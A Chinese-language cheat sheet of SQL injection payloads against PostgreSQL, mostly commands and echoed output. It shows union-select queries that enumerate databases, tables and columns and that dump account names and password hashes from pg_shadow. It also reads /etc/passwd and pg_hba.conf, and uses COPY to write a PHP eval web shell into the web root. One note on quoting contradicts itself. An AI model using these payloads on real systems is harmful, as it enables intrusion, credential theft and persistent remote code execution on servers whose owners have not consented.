select version(); union select 1,2,...n,version() //version()函数与MySQL的是一样的
回显数据举例:
PostgreSQL 8.1.18 on i686-redhat-linux-gnu, compiled by GCC gcc (GCC) 4.1.2 20080704 (Red Hat 4.1.2-46)
select aa from bb where cc=dd; union select 1,2,....n,aa from bb where cc=dd
所有的SQL语法几乎都是这样的语法来爆数据
select datname from pg_database; union select 1,2,....,n,datname from pg_database;
回显举例:postgres
,prc
,template1
,template0
select relname from pg_stat_user_tables limit 1 offset n; //类似于MySQL中的information_schema.tables,虽然不大恰当 union select relname from pg_stat_user_tables limit 1 offset 3; //limit 1 offset 0和MySQL的limit 0,1一个效果。
无举例
select column_name from information_schema.columns where table_name='xxx' limit 1 offset n; union select 1,2,.....,n,column_name from information_schema.columns where table_name=0x3a limit 1 offset 5
同MySQL
读取数据库登陆账户和密码
select usename,passwd from pg_shadow; union select 1,2,...n,usename,passwd from pg_shadow
pg_shadow数据库类似于MySQL中的mysql数据库,root账户为postgres
回显举例:postgres 9d2e7638fd7c7e433f0074a8f65cfd3a
create table test(code text); copy test from '/etc /passwd'with delimiter E'\t';
注:网上多数关于Postgresql的语句中是双引号,实际测试,8.x到9.x双引号无效,应该用双引号)
回显举例:
Query failed: ERROR: extra data after last expected column CONTEXT: COPY file, line 1: “root:x:0:0:root:/root:/bin/bash”
insert into test values ('<?php eval($_POST["cmd"];?>'); copy test(code) to ”/var/www/one.php”;
回显举例:Query failed: ERROR: could not open file “/var/www/html/aaa.php” for writing: Permission denied
pg_file_read()
不如MySQL中的load_file()
那么好用
例如:
select pg_file_read('pg_hba.conf',1,pg_file_length('pg_hb.conf'));
回显:
Query failed: ERROR: function pg_file_length(“unknown”) does not exist HINT: No function matches the given name and argument types. You may need to add explicit type casts.